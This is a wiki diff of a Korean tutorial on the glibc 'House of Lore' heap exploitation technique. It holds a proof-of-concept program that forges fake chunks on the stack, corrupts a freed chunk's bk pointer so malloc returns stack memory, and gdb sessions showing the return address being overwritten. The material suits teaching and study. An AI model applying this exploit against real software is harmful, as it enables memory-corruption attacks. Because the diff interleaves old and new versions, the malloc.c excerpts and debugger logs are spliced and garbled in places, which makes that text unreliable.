Versions Compared

Key

  • This line was added.
  • This line was removed.
  • Formatting was changed.

...

Excuse the ads! We need some help to keep our site up.

Include Page
00.Notice
00.Notice

List

Table of Contents
outlinetrue
excludeList

...

House of Lore

Conditions

  • 해당 기술은 다음과 같은 조건이 만족해야만 동작합니다.
    1. 할당받기를 원하는 영역에 Fake chunk 구조를 가지고 있어야 합니다.
    2. 공격자에 의해 Small chunk, Large chunk의 할당과 해제가 자유로워야 합니다.
    3. 공격자에 의해 Freed chunk의 bk영역에 원하는 값을 저장 할 수 있어야 합니다.

Exploit plan

  • 다음과 같은 방법으로 공격할 수 있습니다.
    • 공격대상을 찾습니다.
      • fake chunk 구조를 가지는 Memory 영역
      • fake chunk 구조를 저장할 수 있는 Memory 영역
    • 다른 크기의 2개의 Heap영역을 할당 받습니다.
    • 첫번재 청크를 해제합니다.
    • 해제된 첫번째 청크의 bk영역에 원하는 영역의 주소를 저장합니다.
      • Fake chunk 영역의 주소 + 0x10 = bk영역에 저장할 값
    • 두번째 청크보다 큰 크기의 청크를 할당합니다.
      • 해체된 Small chunk를 Small bin에 등록하기 위해서 할당합니다.
    • 해제된 청크와 동일한 크기의 Heap을 2개 생성합니다.
      • 두번째에 할당된 Heap의 영역은 fake chunk가 저장되었던 영역으로 할당됩니다.

malloc.c  - bck->fd != victim

  • 아래와 같이 malloc()함수에서 smallbin에 등록된 chunk를 사용할 때 "bck→fd", "victim"의 값이 다른지 확인합니다.
    • 값이 다른 경우 Error 메시지를 출력합니다.
      • "malloc(): smallbin double linked list corrupted"

  • 해당 조건을 우회하기 위해 Fake chunk가 필요합니다.
    • Small bin에 등록된 free chunk의 bk 영역에 Fake chunk의 주소를 저장합니다.(victim→bk)
    • Fake chunk는 free chunk 구조를 가져야 합니다.
    • Fake chunk의 fd 영역에 Small bin에 등록된 free chunk의 주소를 저장합니다.(bck→ fd)
  • House of Lore는 malloc()이 small bin에 해당하는 chunk의 재할당과 small bin에 배치하는 과정을 이용한 공격입니다.
  • malloc()은 small bin에 등록된 chunk를 사용하기 위해 메모리 할당을 요청한 크기가 small bin범위에 포함되는지 확인합니다.

    • 요청된 크기가 small bin 범위에 포함된다면, 요청된 크기에 해당하는 index를 찾습니다.

    • 그리고 bin[index]가 가지고 있는 값과 bin[index]→bk에 저장된 값을 비교합니다.

    • bin[index]→bk에 저장된 값을 victim에 저장합니다.

    • 그리고 이 값이 0 인지 확인합니다.

  • victim에 저장된 값이 0 아니라면 victim→bk 에 저장된 값을 bck에 저장합니다.

    • 그리고 bck->fd의 "victim"의 값이 다른지 확인합니다.

    • 두 값이 같지 않다면 malloc()은 에러 메시지("malloc(): smallbin double linked list corrupted")를 출력되고 프로세스를 종료합니다.

    • 두 값이 같다면 victim->size에 PREV_INUSE를 설정합니다.

    • 그리고 bck가 가지고 있는 값을 bin→bk에 저장되고, bin이 가지고 있는 값을 bck→fd에 저장합니다.

  • 해당 arena가 main arena인지 확인 합니다.

    • main arena가 아닐 경우 victim→size에 NON_MAIN_ARENA(0x4) flag를 설정합니다.

    • 그리고 할당자는 chunk2mem()을 호출하여 반환할 주소(victim + 2*SIZE_SZ)를 *p에 저장하고, p를 반환합니다.

Code Block
languagecpp
firstline3619
titlemalloc.c
  if (in_smallbin_range (nb))
    {
      idx = smallbin_index (nb);
      bin = bin_at (av, idx);

      if ((victim = last (bin)) != bin)
        {
          if (victim == 0) /* initialization check */
            malloc_consolidate (av);
          else
            {
              bck = victim->bk;
	if (__glibc_unlikely (bck->fd != victim))
                {
Code Block
languagecpp
titlemalloc.c - 3416 line
static void * _int_malloc (mstate av, size_t bytes)
{


...
  if (in_smallbin_range (nb))
    {
      idx = smallbin_index (nb);
      bin = bin_at (av, idx);

      if ((victim = last (bin)) != bin)
        {
          if (victim == 0) /* initialization check */
            malloc_consolidate (av);
      errstr = "malloc(): smallbin double linked list elsecorrupted";
            {
      goto errout;
       bck = victim->bk;
	if (__glibc_unlikely (bck->fd != victim))
   }
             {
    set_inuse_bit_at_offset (victim, nb);
               errstrbin->bk = "malloc(): smallbin double linked list corrupted"bck;
              bck->fd = bin;

  goto errout;
           if (av !=   }&main_arena)
		set_non_main_arena (victim);
              setcheck_inuse_bit_at_offsetmalloced_chunk (av, victim, nb);
#if USE_TCACHE
	  /* While we're here, if we see other chunks of the bin->bk = bck;
same size,
	     stash them in the tcache.  */
	   bck->fdsize_t tc_idx = csize2tidx bin(nb);


	  if (tcache && tc_idx < mp_.tcache_bins)
	    {
	   if (av != &main_arena)
 mchunkptr tc_victim;

	      /* While bin not empty and tcache not full, copy chunks victim->size |= NON_MAIN_ARENA;
over.  */
	      while (tcache->counts[tc_idx] < mp_.tcache_count
		     check_malloced_chunk (av, victim, nb);
         && (tc_victim = last (bin)) != bin)
		{
		  if (tc_victim != 0)
		    {
		     void *pbck = chunk2mem (victim)tc_victim->bk;
		              alloc_perturb (p, bytes);
set_inuse_bit_at_offset (tc_victim, nb);
		      if (av != &main_arena)
			set_non_main_arena (tc_victim);
		      bin->bk return= pbck;
		      bck->fd = bin;

		    }
  tcache_put (tc_victim, tc_idx);
	            }
		}
	    }
...
  • Fake chunk 구조
    • Small bin : victim(0x602000) = bk(0x7fffffffe230)->fd(0x602000)

    • Fake chunk 1 : victim(0x7fffffffe230) = bk(0x7fffffffe250)->fd(0x7fffffffe230)
Panel
titleFake chunk struct

Image Removed

Example

Files

Panel

Source code

  • 해당 함수는 다음과 같은 기능을 합니다.

    • 크기가 다른 Heap 영역을 3개 할당합니다.

      • Small bin(128,256), Large(1200)
    • 첫번째 Heap 만 해제를 합니다.

    • Stack 영역에 최대 56자의 문자열을 저장 할 수 있습니다.
    • 해제된 첫번째 Heap 영역에 값을 저장 할 수 있습니다.
    • 해제된 첫번째 Heap과 같은 크기의 Heap을 할당합니다.
Code Block
languagecpp
titleSample code
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void main(){
  char stack[56];
  printf("Stack : %p\n", stack);

  char *buf1 = malloc(128);
  char *buf2 = malloc(256);

  printf("buf1 : %p\n", buf1);
  printf("buf2 : %p\n", buf2);
  free(buf1);

  printf("Stack : ");
  scanf("%56s",stack);

  void *buf3 = malloc(1200);
  printf("buf3 : %p\n", buf3);
  printf("buf1 : ");
  scanf("%16s",buf1);

  void *buf4 = malloc(128);
  char *buf5 = malloc(128);
  printf("buf4 : %p\n", buf4);
  printf("buf5 : %p\n", buf5);
  printf("buf5 : ");
  scanf("%128s",buf5);
}

Exploit flow

Panel
titleThe House of Lore

Image Removed

Debugging

  • 다음과 같이 Binary를 빌드 합니다.
    • "-fno-stack-protector" 옵션을 이용해 Canary가 적용되지 않도록 빌드 합니다.

Code Block
titleBuild
lazenca0x0@ubuntu:~/Documents/def$ gcc -fno-stack-protector -o lore lore.c 
lazenca0x0@ubuntu:~/Documents/def$ checksec.sh --file ./lore
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   ./lore
lazenca0x0@ubuntu:~/Documents/def$
  • 다음과 같이 Break point를 설정합니다.
    • 0x4006c4 - 첫번째 scanf() 호출 후 

    • 0x40070d - 두번째 scanf() 호출 후 

    • 0x400717 - malloc(128) 호출 후

    • 0x400725 - malloc(128) 호출 후

    • 0x40077b - ret 명령어

Code Block
titleBreak points
gdb-peda$ b *0x00000000004006c4
Breakpoint 1 at 0x4006c4
gdb-peda$ b *0x000000000040070d
Breakpoint 2 at 0x40070d
gdb-peda$ b *0x0000000000400717
Breakpoint 3 at 0x400717
gdb-peda$ b *0x0000000000400725
Breakpoint 4 at 0x400725
gdb-peda$ b *0x000000000040077b
Breakpoint 5 at 0x40077b
  • Stack 영역에 다음과 같이 Fake chunk를 생성할 수 있습니다.
    • 사용자 입력 값으로 0x7fffffffe230 ~ 0x7fffffffe268 영역에 값을 저장할 수 있습니다.
  • 해당 영역에 다음과 같은 Fake chunk 구조를 저장합니다.

#endif
              void *p = chunk2mem (victim);
              alloc_perturb (p, bytes);
              return p;
            }
        }
    }
  • 할당자는 그 청크의 크기가 small bin범위에 포함되는지 확인합니다.
    • 그 청크가 small bin범위에 포함된다면, 해당 청크의 인덱스 찾습니다.
    • 그리고 bin[victim_index]가 가지고 있는 값을 bck에 저장합니다.
    • bck->fd가 가지고 있는 값을 fwd에 저장합니다.
Code Block
languagecpp
firstline3801
titlemalloc.c
          if (in_smallbin_range (size))
            {
              victim_index = smallbin_index (size);
              bck = bin_at (av, victim_index);
              fwd = bck->fd;
            }
          else
            {
  • double linked list를 구현하기 위해 해당 chunk의 bk에 bck가 가지고있는 값을 저장되고,  fd에는 fwd가 가지고 있는 값을 저장합니다.

    • 해당 chunk의 포인터를 fwd→bk, bck→fd에 저장합니다.
Code Block
languagecpp
firstline3855
titlemalloc.c
            }

          mark_bin (av, victim_index);
          victim->bk = bck;
          victim->fd = fwd;
          fwd->bk = victim;
          bck->fd = victim;
  • House of Lore는 Stack에 Fake chunk를 작성할 수 있고, Free chunk의 bk의 값을 덮어쓸수 있을 경우 구현이 가능합니다.

    • 공격자는 Fake free chunk를 Stack에 작성하고, Small bin에 해당하는 메모리를 할당합니다.

    • 해당 메모리를 해제하여 이 메모리를 Free chunk로 만듭니다.

    • 새로운 메모리를 할당을 요청하면, Free chunk가 Bins[]에 배치되됩니다.

    • Fake chunk의 포인터를 Free chunk의 bk에 덮어씁니다.

    • Small bin에 배치된 chunk의 할당을 malloc()에 요청하면, Fake chunk의 시작 주소가 Bins[]에 배치 됩니다.

    • 그리고 다시 한번 같은 크기의 메모리 할당을 malloc()에 요청하면 Fake chunk의 영역에 해당하는 포인터를 반환합니다.

    • 반환된 포인터는 Stack 메모리 입니다.

  • House of Lore에서 중요한 것은 Fake chunk의 구조입니다.

    • 이 chunk는 Free chunk의 구조를 가져야 하며, 2개의 fake chunk가 필요합니다.

    • 첫번째 Fake chunk의 포인터를 free chunk(heap에 위치한)의 bk에 저장합니다.

    • 그리고 bins[idx]의 포인터를 첫번째 Fake chunk의 fd에 저장 합니다.

    • 첫번째 free chunk의 bk에 2번째 Fake chunk의 포인터를 저장합니다.

    • 그리고 2번째 fake chunk의 포인터를 첫번째 free chunk의 "bk"에 저장합니다.

  • 이러한 구조는 small bin에 배치된 chunk의 double-linked list가 손상되었는지 확인("bck->fd != victim")을 우회합니다.

    • 예를 들어 다음과 같은 구조에서 victim의 값이 0x7fffffffe230이고 bck→fd의 값이 0x7fffffffe230이기 때문에 검증 조건을 통과하게됩니다.

Panel
titleFake chunks structure

Image Added

  • 다음은 House of Lore의 흐름입니다.
    • Fake chunk를 Stack에 생성되고 free chunk를 생성한 후에 해당 chunk를 small bin에 배치합니다.
    • 그리고 fake chunk의 포인터를 free chunk의 "bk"에 저장합니다.
    • 그리고 해당 chunk를 재할당 받기 위해 메모리의 할당을 malloc()에 요청하면 할당자는 fake chunk를 small bin에 배치합니다.
    • 공격자가 다시 한번 동일한 크기 메모리 할당을 요청하면 할당자는 fake chunk의 메모리을 반환합니다.
Panel
titleHouse of Lore flow

Image Added

Example

  • 이 코드는 앞에서 언급한 예와 동일한 코드입니다.
    • 크기가 128 바이트, 256 바이트 인 메모리의 할당을 요청합니다.
    • 크기가 128byte인 메모리의 해제를 요청한 후, 메모리 할당을 요청합니다.
    • fake chunk를 stack에 작성하고 fake chunk의 포인터를 free chunk의 bk에 저장합니다.
    • 그리고 크기가 128byte인 메모리 2개의 할당을 요청합니다.
Code Block
languagecpp
titlehouse_of_lore.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
 
void main(){
    unsigned long fake_chunk[56];
    fprintf(stderr,"fake_chunk : %p\n", fake_chunk);
 
    unsigned long *buf1 = malloc(128);
    unsigned long *buf2 = malloc(256);
 
    fprintf(stderr,"buf1 : %p\n", buf1);
    fprintf(stderr,"buf2 : %p\n", buf2);
    free(buf1);
 
    void *buf3 = malloc(1200);
    fprintf(stderr,"buf3 : %p\n", buf3);

    fake_chunk[2] = (unsigned long)buf1 - 0x10;
    fake_chunk[3] = (unsigned long)&fake_chunk[4];
    fake_chunk[6] = (unsigned long)fake_chunk;

    buf1[1] = (unsigned long)fake_chunk;
 
    void *buf4 = malloc(128);
    char *buf5 = malloc(128);

    fprintf(stderr,"buf4 : %p\n", buf4);
    fprintf(stderr,"buf5 : %p\n", buf5);
    fprintf(stderr,"buf5 : ");

    read(STDIN_FILENO,buf5, 128);
}
  • 해제된 chunk가 small bin에 배치되는 과정을 0x40079c에서 확인합니다.
    • Fake chunk의 구조를 0x400816에서 확인합니다.
    • 해당 chunk의 포인터가 small bin에 배치된 후 재할당되는 포인터를 0x40081e, 0x40082f에서 확인합니다.
    • 반환받은 메모리를 사용할 수 있는지 0x4008ad에서 확인합니다.
Code Block
titleBreakpoints
lazenca0x0@ubuntu:~$ gcc -o house_of_lore house_of_lore.c 
lazenca0x0@ubuntu:~$ gdb -q ./house_of_lore
Reading symbols from ./house_of_lore...(no debugging symbols found)...done.
gdb-peda$ disassemble main
Dump of assembler code for function main:
   0x00000000004006f6 <+0>:	push   rbp
   0x00000000004006f7 <+1>:	mov    rbp,rsp
   0x00000000004006fa <+4>:	sub    rsp,0x200
   0x0000000000400701 <+11>:	mov    rax,QWORD PTR fs:0x28
   0x000000000040070a <+20>:	mov    QWORD PTR [rbp-0x8],rax
   0x000000000040070e <+24>:	xor    eax,eax
   0x0000000000400710 <+26>:	mov    rax,QWORD PTR [rip+0x200949]        # 0x601060 <stderr@@GLIBC_2.2.5>
   0x0000000000400717 <+33>:	lea    rdx,[rbp-0x1d0]
   0x000000000040071e <+40>:	mov    esi,0x400954
   0x0000000000400723 <+45>:	mov    rdi,rax
   0x0000000000400726 <+48>:	mov    eax,0x0
   0x000000000040072b <+53>:	call   0x4005c0 <fprintf@plt>
   0x0000000000400730 <+58>:	mov    edi,0x80
   0x0000000000400735 <+63>:	call   0x4005d0 <malloc@plt>
   0x000000000040073a <+68>:	mov    QWORD PTR [rbp-0x1f8],rax
   0x0000000000400741 <+75>:	mov    edi,0x100
   0x0000000000400746 <+80>:	call   0x4005d0 <malloc@plt>
   0x000000000040074b <+85>:	mov    QWORD PTR [rbp-0x1f0],rax
   0x0000000000400752 <+92>:	mov    rax,QWORD PTR [rip+0x200907]        # 0x601060 <stderr@@GLIBC_2.2.5>
   0x0000000000400759 <+99>:	mov    rdx,QWORD PTR [rbp-0x1f8]
   0x0000000000400760 <+106>:	mov    esi,0x400965
   0x0000000000400765 <+111>:	mov    rdi,rax
   0x0000000000400768 <+114>:	mov    eax,0x0
   0x000000000040076d <+119>:	call   0x4005c0 <fprintf@plt>
   0x0000000000400772 <+124>:	mov    rax,QWORD PTR [rip+0x2008e7]        # 0x601060 <stderr@@GLIBC_2.2.5>
   0x0000000000400779 <+131>:	mov    rdx,QWORD PTR [rbp-0x1f0]
   0x0000000000400780 <+138>:	mov    esi,0x400970
   0x0000000000400785 <+143>:	mov    rdi,rax
   0x0000000000400788 <+146>:	mov    eax,0x0
   0x000000000040078d <+151>:	call   0x4005c0 <fprintf@plt>
   0x0000000000400792 <+156>:	mov    rax,QWORD PTR [rbp-0x1f8]
   0x0000000000400799 <+163>:	mov    rdi,rax
   0x000000000040079c <+166>:	call   0x400580 <free@plt>
   0x00000000004007a1 <+171>:	mov    edi,0x4b0
   0x00000000004007a6 <+176>:	call   0x4005d0 <malloc@plt>
   0x00000000004007ab <+181>:	mov    QWORD PTR [rbp-0x1e8],rax
   0x00000000004007b2 <+188>:	mov    rax,QWORD PTR [rip+0x2008a7]        # 0x601060 <stderr@@GLIBC_2.2.5>
   0x00000000004007b9 <+195>:	mov    rdx,QWORD PTR [rbp-0x1e8]
   0x00000000004007c0 <+202>:	mov    esi,0x40097b
   0x00000000004007c5 <+207>:	mov    rdi,rax
   0x00000000004007c8 <+210>:	mov    eax,0x0
   0x00000000004007cd <+215>:	call   0x4005c0 <fprintf@plt>
   0x00000000004007d2 <+220>:	mov    rax,QWORD PTR [rbp-0x1f8]
   0x00000000004007d9 <+227>:	sub    rax,0x10
   0x00000000004007dd <+231>:	mov    QWORD PTR [rbp-0x1c0],rax
   0x00000000004007e4 <+238>:	lea    rax,[rbp-0x1d0]
   0x00000000004007eb <+245>:	add    rax,0x20
   0x00000000004007ef <+249>:	mov    QWORD PTR [rbp-0x1b8],rax
   0x00000000004007f6 <+256>:	lea    rax,[rbp-0x1d0]
   0x00000000004007fd <+263>:	mov    QWORD PTR [rbp-0x1a0],rax
   0x0000000000400804 <+270>:	mov    rax,QWORD PTR [rbp-0x1f8]
   0x000000000040080b <+277>:	lea    rdx,[rax+0x8]
   0x000000000040080f <+281>:	lea    rax,[rbp-0x1d0]
   0x0000000000400816 <+288>:	mov    QWORD PTR [rdx],rax
   0x0000000000400819 <+291>:	mov    edi,0x80
   0x000000000040081e <+296>:	call   0x4005d0 <malloc@plt>
   0x0000000000400823 <+301>:	mov    QWORD PTR [rbp-0x1e0],rax
   0x000000000040082a <+308>:	mov    edi,0x80
   0x000000000040082f <+313>:	call   0x4005d0 <malloc@plt>
   0x0000000000400834 <+318>:	mov    QWORD PTR [rbp-0x1d8],rax
   0x000000000040083b <+325>:	mov    rax,QWORD PTR [rip+0x20081e]        # 0x601060 <stderr@@GLIBC_2.2.5>
   0x0000000000400842 <+332>:	mov    rdx,QWORD PTR [rbp-0x1e0]
   0x0000000000400849 <+339>:	mov    esi,0x400986
   0x000000000040084e <+344>:	mov    rdi,rax
   0x0000000000400851 <+347>:	mov    eax,0x0
   0x0000000000400856 <+352>:	call   0x4005c0 <fprintf@plt>
   0x000000000040085b <+357>:	mov    rax,QWORD PTR [rip+0x2007fe]        # 0x601060 <stderr@@GLIBC_2.2.5>
   0x0000000000400862 <+364>:	mov    rdx,QWORD PTR [rbp-0x1d8]
   0x0000000000400869 <+371>:	mov    esi,0x400991
   0x000000000040086e <+376>:	mov    rdi,rax
   0x0000000000400871 <+379>:	mov    eax,0x0
   0x0000000000400876 <+384>:	call   0x4005c0 <fprintf@plt>
   0x000000000040087b <+389>:	mov    rax,QWORD PTR [rip+0x2007de]        # 0x601060 <stderr@@GLIBC_2.2.5>
   0x0000000000400882 <+396>:	mov    rcx,rax
   0x0000000000400885 <+399>:	mov    edx,0x7
   0x000000000040088a <+404>:	mov    esi,0x1
   0x000000000040088f <+409>:	mov    edi,0x40099c
   0x0000000000400894 <+414>:	call   0x4005e0 <fwrite@plt>
   0x0000000000400899 <+419>:	mov    rax,QWORD PTR [rbp-0x1d8]
   0x00000000004008a0 <+426>:	mov    edx,0x80
   0x00000000004008a5 <+431>:	mov    rsi,rax
   0x00000000004008a8 <+434>:	mov    edi,0x0
   0x00000000004008ad <+439>:	call   0x4005a0 <read@plt>
   0x00000000004008b2 <+444>:	nop
   0x00000000004008b3 <+445>:	mov    rax,QWORD PTR [rbp-0x8]
   0x00000000004008b7 <+449>:	xor    rax,QWORD PTR fs:0x28
   0x00000000004008c0 <+458>:	je     0x4008c7 <main+465>
   0x00000000004008c2 <+460>:	call   0x400590 <__stack_chk_fail@plt>
   0x00000000004008c7 <+465>:	leave  
   0x00000000004008c8 <+466>:	ret    
End of assembler dump.
gdb-peda$ b *0x000000000040079c
Breakpoint 1 at 0x40079c
gdb-peda$ b *0x0000000000400816
Breakpoint 2 at 0x400816
gdb-peda$ b *0x000000000040081e
Breakpoint 3 at 0x40081e
gdb-peda$ b *0x000000000040082f
Breakpoint 4 at 0x40082f
gdb-peda$ b *0x00000000004008ad
Breakpoint 5 at 0x4008ad
gdb-peda$
  • 프로그램은 2개의 메모리를 할당받았습니다.

    • 첫번째 메모리의 포인터는 0x602010이고 크기는 128byte입니다.

    • 해당 메모리를 해제하면 free chunk가 됩니다.

    • 그리고 해당 chunk는 unsorted bin에 배치됩니다.

    • 메모리가 할당되면 free chunk(0x602000)는 bins[16], bins[17]에 배치됩니다.

Code Block
titlePlace the free chunks in a small bin.
Panel
titleFake chunk

0x7fffffffe230

Fake chunk 1

0x4141414141414141

0x4141414141414141

0x7fffffffe240

0x602000 - fd(Forward pointer)

0x7fffffffe250 - bk(Backward pointer)

0x7fffffffe250

Fake chunk 20x41414141414141410x4141414141414141

0x7fffffffe260

0x00007fffffffe230 - fd(Forward pointer)

Code Block
titleSet the Fake chunk
gdb-peda$ r
Starting program: /home/lazenca0x0/Documents/def/house_of_lore 
Stackfake_chunk : 0x7fffffffe2300x7fffffffe2a0
buf1 : 0x602010
buf2 : 0x6020a0
Stack : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Breakpoint 1, 0x00000000004006c40x000000000040079c in main ()
gdb-peda$ x/8gxi 0x7fffffffe230
0x7fffffffe230:	0x4141414141414141	0x4141414141414141
0x7fffffffe240:	0x4141414141414141	0x4141414141414141
0x7fffffffe250:	0x4141414141414141	0x4141414141414141
0x7fffffffe260:	0x4141414141414141	0x0000000000000000
gdb-peda$ set *0x7fffffffe240 = 0x602000
gdb-peda$ set *0x7fffffffe244 = 0x00000000$rip
=> 0x40079c <main+166>:	call   0x400580 <free@plt>
gdb-peda$ i r rdi
rdi            0x602010	0x602010
gdb-peda$ set *0x7fffffffe248 = 0x7fffffffe250p main_arena.bins[0]
$1 = (mchunkptr) 0x7ffff7dd1b78 <main_arena+88>
gdb-peda$ set *0x7fffffffe24c = 0x00007fffni

0x00000000004007a1 in main ()
gdb-peda$ set *0x7fffffffe260p main_arena.bins[0]
$2 = 0x7fffffffe230(mchunkptr) 0x602000
gdb-peda$ set *0x7fffffffe264 = 0x00007fffni

0x00000000004007a6 in main ()
gdb-peda$ x/8gxi 0x7fffffffe230
0x7fffffffe230:	0x4141414141414141	0x4141414141414141
0x7fffffffe240:	0x0000000000602000	0x00007fffffffe250
0x7fffffffe250:	0x4141414141414141	0x4141414141414141
0x7fffffffe260:	0x00007fffffffe230	0x0000000000000000
gdb-peda$ 

...

Free chunk가 Unsorted bin에서 Small bin영역으로 이동합니다.

...

Unsorted bin : 0x602000 → 0x7ffff7dd37b8(main_arena.top 영역)

...

Small bin(main_arena.bins[16],fd) : 0x7ffff7dd3838 → 0x602000

...

$rip
=> 0x4007a6 <main+176>:	call   0x4005d0 <malloc@plt>
gdb-peda$ ni

0x00000000004007ab in main ()
gdb-peda$ p main_arena.bins[

...

Code Block
titleOverwrite the bk
gdb-peda$ x/2gx 0x602010
0x602010:	0x00007ffff7dd37b8	0x00007ffff7dd37b8
0]
$7 = (mchunkptr) 0x7ffff7dd1b78 <main_arena+88>
gdb-peda$ p main_arena.bins[116]
$1$8 = (mchunkptr) 0x602000
gdb-peda$ p main_arena.bins[1617]
$2$9 = (mchunkptr) 0x7ffff7dd3838 <main_arena+216>0x602000
gdb-peda$ p main_arena.bins[17]
$3 = (mchunkptr) 0x7ffff7dd3838 <main_arena+216>
  • 프로그램은 Fake chunk를 0x7fffffffe2a0에 작성합니다.
    • 첫번째 Fake chunk의 포인터는 0x7fffffffe2a0이고, 해당 chunk의 fd는 0x602000, bk는 0x7fffffffe2c0입니다.
    • 두번째 Fake chunk의 포인터는 0x7fffffffe2c0이고, 해당 chunk의 fd는 0x00007fffffffe2a0입니다.
    • victim의 값이 0x7fffffffe2a0이고 bck→fd의 값이 0x7fffffffe2a0이기 때문에 검증 조건을 통과하게됩니다.
Code Block
titlePlace the free chunks in a small bin.
gdb-peda$ c
Continuing.
buf3 : 0x6021b0
buf1 : BBBBBBBBBBBBBBBB

Breakpoint 2, 0x000000000040070d0x0000000000400816 in main ()
gdb-peda$ p main_arena.bins[1]
$4 = (mchunkptr) 0x7ffff7dd37b8 <main_arena+88>
gdb-peda$ x/gx 0x7ffff7dd37b8
0x7ffff7dd37b8 <main_arena+88>:	0x0000000000602660
gdb-peda$ p main_arena.top
$5 = (mchunkptr) 0x602660
gdb-peda$ p main_arena.bins[16]
$6 = (mchunkptr) 0x602000
gdb-peda$ p main_arena.bins[17]
$7 = (mchunkptr) 0x602000x/3i $rip
=> 0x400816 <main+288>:	mov    QWORD PTR [rdx],rax
   0x400819 <main+291>:	mov    edi,0x80
   0x40081e <main+296>:	call   0x4005d0 <malloc@plt>
gdb-peda$ i r rax
rax            0x7fffffffe2a0	0x7fffffffe2a0
gdb-peda$ x/2gx 0x602010
0x602010:	0x4242424242424242	0x4242424242424242
gdb-peda$ set *0x602018 = 0x7fffffffe230
gdb-peda$ set *0x60201c = 0x00007fff8gx 0x7fffffffe2a0
0x7fffffffe2a0:	0x0000000000000000	0x0000000000000000
0x7fffffffe2b0:	0x0000000000602000	0x00007fffffffe2c0
0x7fffffffe2c0:	0x0000000000000000	0x0000000000000000
0x7fffffffe2d0:	0x00007fffffffe2a0	0x0000000000000000
gdb-peda$ x/2gx 0x6020104gx 0x0000000000602000
0x602000:	0x0000000000000000	0x0000000000000091
0x602010:	0x42424242424242420x00007ffff7dd1bf8	0x00007fffffffe230
gdb-peda$ 0x00007ffff7dd1bf8

  • fake chunk를 작성한 후에 해당 chunk의 포인터를 small bin에 등록하기 위해 메모리 할당을 요청합니다.
    • malloc()으로 부터 메모리를 할당 받으면,
    해제된 Heap과 같은 크기(128)의 Heap을 생성합니다.
    • 첫번째 할당 받은 Heap 영역은 buf1영역을 재할당 받았습니다.
    • Small bin에 등록된 영역을 사용했으며, Small bin에 변화가 발생합니다.

      • Small bin(main_arena.bins[17],bk) : 0x602000 → 0x7fffffffe230
    • 두번째 할당 받은 Heap 영역은 Stack 영역을 할당 받았습니다.Small bin( main_arena.bins[17],bk) 영역에 저장된 영역을 사용합니다.
    • 0x7fffffffe230 + 0x10 = 0x7fffffffe240
    • 에 Fake chunk가 배치됩니다.
Code Block
titlemalloc(128), malloc(128)Place fake chunks in a small bin.
gdb-peda$ c
Continuing.

Breakpoint 3, 0x000000000040081e in main ()
gdb-peda$ x/i $rip
=> 0x40081e <main+296>:	call   0x4005d0 <malloc@plt>
gdb-peda$ i r rdi
rdi            0x80	0x80gdb-peda$ c
Continuing.
Breakpoint 3, 0x0000000000400717 in main ()
gdb-peda$ i r rax
rax            0x602010	0x602010p main_arena.bins[16]
$11 = (mchunkptr) 0x602000
gdb-peda$ p main_arena.bins[17]
$12 = (mchunkptr) 0x602000
gdb-peda$ ni

gdb-peda$ p main_arena.bins[16]
$8$14 = (mchunkptr) 0x602000
gdb-peda$ p main_arena.bins[17]
$15 = (mchunkptr) 0x7fffffffe2a0

  • 프로그램은 main_arena.bins[17]에 등록된 chunk를 재할당 받기위해 크기가 128byte인 메모리의 할당을 요청합니다.
    • 할당자는 small bin에 사용가능한 chunk가 있다고 판단하고, main_arena.bins[17]에 등록된 chunk를 재할당 합니다.
    • 재할당 된 chunk의 포인터(0x7fffffffe2b0)는 Fake chunk의 영역입니다.
Code Block
titleReallocate fake chunks

$9 = (mchunkptr) 0x7fffffffe230

gdb-peda$ c
Continuing.

Breakpoint 4, 0x00000000004007250x000000000040082f in main () ()
gdb-peda$ x/i $rip
=> 0x40082f <main+313>:	call   0x4005d0 <malloc@plt>
gdb-peda$ i r raxrdi
raxrdi            0x7fffffffe2400x80	0x7fffffffe2400x80
gdb-peda$ p main_arena.bins[17]
$10 = (mchunkptr) 0x7fffffffe250
  • 다음과 같이 할당 받은 공간에 값을 저장해 Return address를 덮어쓸 수 있습니다.
    • Return address 영역을 덮어썻기 때문에 "Segmentation fault." 에러가 발생하게 됩니다.
Code Block
titleOverwrite the Stack area
gdb-peda$ c
Continuing.
buf4 : 0x602010
buf5 : 0x7fffffffe240
buf5 : CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC


Breakpoint 5, 0x000000000040077b in main ()ni

0x0000000000400834 in main ()
gdb-peda$ p main_arena.bins[16]
$17 = (mchunkptr) 0x602000
gdb-peda$ p main_arena.bins[17]
$18 = (mchunkptr) 0x7fffffffe2c0
gdb-peda$ i r rsp
rsp rax
rax            0x7fffffffe2b0	0x7fffffffe2b0
gdb-peda$  0x7fffffffe298	0x7fffffffe298
gdb-peda$ x/gx 0x7fffffffe298
0x7fffffffe298:x/6gx 0x7fffffffe2b0
0x7fffffffe2b0:	0x00007ffff7dd1bf8	0x00007fffffffe2c0
0x7fffffffe2c0:	0x0000000000000000	0x0000000000000000
0x7fffffffe2d0:	0x00007ffff7dd1bf8	0x0000000000000000
gdb-peda$
  • 공격자는 반환된 fake chunk의 포인터에 데이터를 저장할 수 있습니다.
    • 이는 상황에 따라 프로그램의 흐름도 변경할 수 있다는 것입니다.
Code Block
titleYou can access the data with a pointer to a fake chunk returned from malloc ().
gdb-peda$ c
Continuing.
buf4 : 0x602010
buf5 : 0x7fffffffe2b0
buf5 : 

Breakpoint 5, 0x00000000004008ad	0x4343434343434343
gdb-peda$ ni

Program received signal SIGSEGV, Segmentation fault.
0x000000000040077b in main ()
gdb-peda$ bt
#0  0x000000000040077b in main ()
#1  0x4343434343434343 in ?? ()
#2  0x4343434343434343 in ?? ()
#3  0x4343434343434343 in ?? ()
#4  0x4343434343434343 in ?? ()
#5  0x4343434343434343 in ?? ()
#6  0x0000000000000000 in ?? ()gdb-peda$ x/i $rip
=> 0x4008ad <main+439>:	call   0x4005a0 <read@plt>
gdb-peda$ i r rsi
rsi            0x7fffffffe2b0	0x7fffffffe2b0
gdb-peda$ x/4gx 0x7fffffffe2b0
0x7fffffffe2b0:	0x00007ffff7dd1bf8	0x00007fffffffe2c0
0x7fffffffe2c0:	0x0000000000000000	0x0000000000000000
gdb-peda$ ni
AAAAAAAAAAAAAAAA

0x00000000004008b2 in main ()
